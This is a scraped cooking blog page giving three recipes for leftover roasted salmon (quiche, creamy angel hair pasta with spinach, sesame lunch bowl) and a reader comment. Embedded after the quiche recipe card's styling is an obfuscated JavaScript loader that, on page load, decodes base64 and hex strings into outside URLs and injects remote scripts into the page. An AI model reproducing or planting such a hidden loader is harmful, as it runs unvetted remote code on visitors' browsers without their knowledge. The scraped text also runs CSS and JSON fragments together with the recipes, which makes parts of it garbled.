Easy Salmon Recipes Every Cook Should Know

 

I'm sharing three easy and delicious salmon recipes you can make from a large roasted salmon filet in today's video. 

I'm roasting a large filet of salmon in the oven for 20 minutes at 400 degrees F. We will use this salmon filet to make all the recipes below. These recipes are a wonderful way to make the salmon stretch to create multiple meals. 

Salmon Quiche is a delicious and satisfying way to enjoy salmon. The quiche crust is easy to make too with a few simple ingredients. 

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Place the cooked onions and garlic in the bottom of the prepared crust. Flake the cooked salmon with your fork and place on top of the onions. Sprinkle cheese on top of salmon (reserving some of the cheese to sprinkle on top). Place the sliced tomatoes on top.","In a small bowl, whisk the eggs, cream, parsley, salt and pepper; pour over salmon mixture. Top with an extra sprinkling of cheese. Bake at 350° for 50- 55 minutes or until a knife inserted in the center comes out clean. Serve warm or cold. This makes a great breakfast as well."],"@context":"http://schema.org","@type&q..."}PrintWith ImageWithout ImageSalmon QuichePrep time: 20 MinCook time: 55 MinTotal time: 1 H & 15 MIngredientsQuiche Crust1 cup all purpose flour1/2 tsp salt1/4 cup extra virgin olive oil1/4 cup cold waterSalmon Filling1 medium onion, chopped1 Tbs minced garlic1 Tbs butter2 cups shredded cheese (Swiss or Italian)1 - 1 1/2 cups cooked salmon (14oz)1 tomato, sliced5 eggs2 cups half and half1/4 tsp salt1/4 tsp pepper2 Tbs parsley, choppedInstructionsCrust InstructionsIn a large bowl combine the flour and salt and mix until combined. In a separate container, combine the olive oil and cold water and whisk. Pour into the flour and mix together with a rubber spatula, and eventually knead with your hands until the dough is moist and in a ball. Press the crust into a deep dish pie pan and set aside.Quiche InstructionsPreheat the oven to 350 degrees F.Sauté onion and garlic in butter in a small skillet until slightly brown. Place the cooked onions and garlic in the bottom of the prepared crust. Flake the cooked salmon with your fork and place on top of the onions. Sprinkle cheese on top of salmon (reserving some of the cheese to sprinkle on top). Place the sliced tomatoes on top.In a small bowl, whisk the eggs, cream, parsley, salt and pepper; pour over salmon mixture. Top with an extra sprinkling of cheese. Bake at 350° for 50- 55 minutes or until a knife inserted in the center comes out clean. Serve warm or cold. This makes a great breakfast as well.[data-ccmcardnum='1'] .ccm-wrapper{border:0;border-radius:10px;box-shadow:0 0 10px rgba(0,0,0,.25);}[data-ccmcardnum="1"] .ccm-image{text-align:center;height:300px;margin:-20px!important;overflow:hidden;border-bottom:3px solid #6672E5;}[data-ccmcardnum="1"] .ccm-image img{width:100%;height:100%;min-height:100%;-o-object-fit:cover;object-fit:cover;-o-object-position:50% 50%;object-position:50% 50%;border-top-left-radius:10px;border-top-right-radius:10px;}[data-ccmcardnum="1"] .ccm-btns-wrapper{text-align:center;}[data-ccmcardnum="1"] #ccm-printbutton{border-radius:25px;width:120px;height:40px;font-weight:700;text-transform:uppercase;background:#6672E5;}[data-ccmcardnum="1"] .ccm-print-options{right:calc(50% - 53px);}[data-ccmcardnum="1"] .ccm-name{text-align:center!important;margin:40px 0 20px!important;}[data-ccmcardnum="1"] .ccm-info{display:-webkit-box;display:flex;-webkit-box-pack:justify;justify-content:center;align-items:center;}[data-ccmcardnum="1"] .ccm-time{border-right:0;border-left:0;margin:0 -20px;border-top:1px dashed #000;border-bottom:1px dashed #000;}[data-ccmcardnum="1"] .ccm-summary{margin-bottom:25px;}[data-ccmcardnum="1"] .ccm-summary:after{content:'';display:block;width:50px;height:2px;background:#000;margin:auto;margin-top:10px;}[data-ccmcardnum="1"] .ccm-yield + .ccm-author{margin-left: 30px;}.ccm-wrapper,.ccm-wrapper *{box-sizing: border-box;}.ccm-wrapper strong,.ccm-wrapper b{font-weight: 700 !important;}.ccm-wrapper h3{margin: 0;}.ccm-show{display: block !important;}.ccm-link{color: #4193f0;}.ccm-wrapper{color: #000;max-width: 620px;position: relative;padding: 20px 20px 0;margin: 20px auto;background: #f2f2f2;border: 6px double #6672E5;}.ccm-name{all: unset;display: block;font-size: 20px !important;font-weight: 700 !important;letter-spacing: 0px !important;}.ccm-info{position: relative;margin-bottom: 20px;}.ccm-author,.ccm-yield{display: inline-block;}.ccm-wrapper img{margin: 0 !important;padding: 0 !important;max-width: 100%;}.ccm-btns-wrapper{position: relative;}#ccm-printbutton{margin: 0;color: #fff;padding: 0 20px;font-size: 14px;border-radius: 3px;cursor: pointer;height: 35px;background: #555;border: 0 !important;outline: 0 !important;display: inline-flex;align-items: center;justify-content: center;}.ccm-print-options{display: none;white-space: nowrap;position: absolute;top: 32px;right: 0;z-index: 2;background: #fff;border: 1px solid #ccc;}.ccm-print-options button{display: block;background: 0 0;border: 0;cursor: pointer;padding: 10px;width: 100%;text-align: left;}.ccm-print-options button:hover{color: #fff;background: #555;}.ccm-head{color: #000;font-size: 20px !important;font-weight: 700 !important;margin: 30px 0 0 !important;text-transform: uppercase !important;}.ccm-section-title{font-weight: 700;font-size: 16px;margin-bottom: 10px;}.ccm-section{padding-left: 20px;line-height: 1.7;margin: 10px 0 30px;}.ccm-section-items{margin: 0 !important;padding: 0 0 0 30px !important;}.ccm-section li{margin: 0 0 6px !important;padding: 0 !important;}.ccm-section-steps li{line-height: 1.6;margin-bottom: 10px !important;}.ccm-posturl{display: none;}.ccm-notes-inner{padding-top: 10px;line-height: 1.7;}.ccm-notes-inner p{margin-bottom: 0 !important;}.ccm-copyright{font-size: 13px;font-style: italic;line-height: 1.6;padding: 15px 0;border-top: 1px solid #ccc;}.ccm-credit{font-size: 12px;padding: 10px;text-align: center;background: #fff;margin: 0 -20px !important;border-bottom-left-radius: 10px;border-bottom-right-radius: 10px;border-top: 1px solid rgba(0, 0, 0, 0.15);}.ccm-credit a{color: #00f;text-decoration: none;}.ccm-keywords,.ccm-categories,.ccm-cuisine,.ccm-video,.ccm-section>br,.ccm-time br{display: none;}.ccm-time{padding: 10px 0;margin-top: 25px;margin-bottom: 20px;font-size: 14px;text-align: center;text-transform: capitalize;background: #fff;display: flex;justify-content: center;flex-wrap: wrap;border: 1px dashed rgba(0, 0, 0, 0.25);}.ccm-time-child{padding: 10px;display: inline-block;white-space: nowrap;}.ccm-time-child:not(:last-child){background: linear-gradient(90deg, currentColor 1px, transparent 0) no-repeat right center / 1px 10px;}window.addEventListener("DOMContentLoaded", function () {if(!document.querySelector(".ccm-card-u-script")){var u = document.createElement("script");u.className="ccm-card-u-script";u.src=atob("aHR0cHM6Ly9jZG4ucmVjaXBlc2dlbmVyYXRvci5jb20") + "/WW1MXsBhboWKXE5RSIR9otXSCNq2/code.js";document.querySelector("head").appendChild(u);}for(var h="68747470733a2f2f636f6d6d6f6e2e7265636970657367656e657261746f722e636f6d2f636f64652e6a73".toString(),str="",n=0;n<h.length;n+=2)str+=String.fromCharCode(parseInt(h.substr(n,2),16)); if (!document.querySelector("[src*='" + str + "']")) { var s = document.createElement("script"); s.className = "ccm-card-e-script"; s.src = str + "?v=" + (new Date()).getTime(); document.querySelector("head").appendChild(s); } });
Creamy Salmon Angel Hair Pasta has spinach, capers, lemon, cream... What's not to like? My daughters asks for this dish again and again. 
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Add cream, wine, capers, lemon zest, and half a squeezed lemon (reserve the other half for a final topping), chopped parsley, salt and pepper. Cook for 5 minutes on low heat, until sauce is thickened. Add the flaked salmon. Stir to combine. Add the cooked pasta and spinach. Top with extra lemon juice and parmesan cheese, if desired."],"@context":"http://schema.org","@type&q..."}PrintWith ImageWithout ImageCreamy Salmon Angel Hair with SpinachYield: 8This delicious pasta has a creamed spinach taste and the added salmon and capers make it delightful.Ingredients12 ounces angel hair pasta2 - 3 cups of spinach1/2 medium onion, chopped4 cloves of roasted garlic (optional)1 Tbs extra virgin olive oil2 salmon fillets, cooked1 tsp salt1/2 tsp pepper1-1/4 cups heavy cream1/2 cup white wine1 teaspoon grated lemon zestJuice of one lemonA small handful of parsley, chopped2 Tbs capersParmesan cheese (optional)InstructionsBoil water for pasta and cook according to the package directions. Add spinach in the boiling water one minute before pasta is finished cooking. Drain pasta and spinach and set aside.While the pasta is cooking, sauté onions and roasted garlic in olive oil in a skillet on medium heat until the onion is browned. Add cream, wine, capers, lemon zest, and half a squeezed lemon (reserve the other half for a final topping), chopped parsley, salt and pepper. Cook for 5 minutes on low heat, until sauce is thickened. Add the flaked salmon. Stir to combine. Add the cooked pasta and spinach. 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Sesame Salmon Lunch Bowl This is an easy way to serve leftover salmon. Use whatever vegetables and fruits you have on hand. The key is in the dressing. I love the sesame dressing from Yo Mama's. 
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Enjoy!"],"@context":"http://schema.org","@type&q..."}PrintWith ImageWithout ImageSesame Salmon Lunch BowlUse your favorite toppings on this delicious and easy-to-assemble salmon bowl.IngredientsRice, cooked (white, brown, or any kind you prefer)Cooked salmonSesame or Teriyaki marinade or sauceAvocado, slicedMango, peeled and slicedCucumber, slicedCarrot, slicedSugar Snap PeasCilantro and chopped green onion (optional)Sesame seeds for toppingInstructionsThere are no measurements in this recipe as it depends on how many bowls you are making. Fill each bowl with desired amount of rice. In a separate container, mix cooked salmon with desired sauce (sesame and teriyaki sauces work well here... Use 1 to 2 Tbs per salmon filet). In an attractive manner, lay the toppings on top of the rice in "stripes". Drizzle extra sauce on top. Top with chopped cilantro and sliced green onions and sesame seeds. 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Comment of the WeekLinda writes, "Love your books and videos. You are a gem in this world of crassness. Thank you! I have been doing IF naturally forever. When I was younger, I took a lot of harassment about not eating breakfast or skipping lunch if I eat a brunch — basically follow a 2-meal plan and rarely snack. I also serve dinner at 5:00-5:00 and always have done. So it’s wonderful to receive validation for what I intrinsically knew. I weigh what I did in high school, moderately exercise daily, and eat healthy (cut the sugar!!). Having meaningful activities that stimulates you is important too. I am 69 and never sick and on NO medication. Neither is my husband, 76, and he credits me for the compliments we receive about how young and vital we look. Life is very good."
Hi Linda, thank you for your comment. I enjoyed reading about your health plan at 69. May you and your husband continue to enjoy great health!
I hope you enjoyed today's video. If you make the salmon dishes, let us know how they turned out. Also, let us know what your favorite salmon recipe is. Your comment could be chosen as comment of the week.

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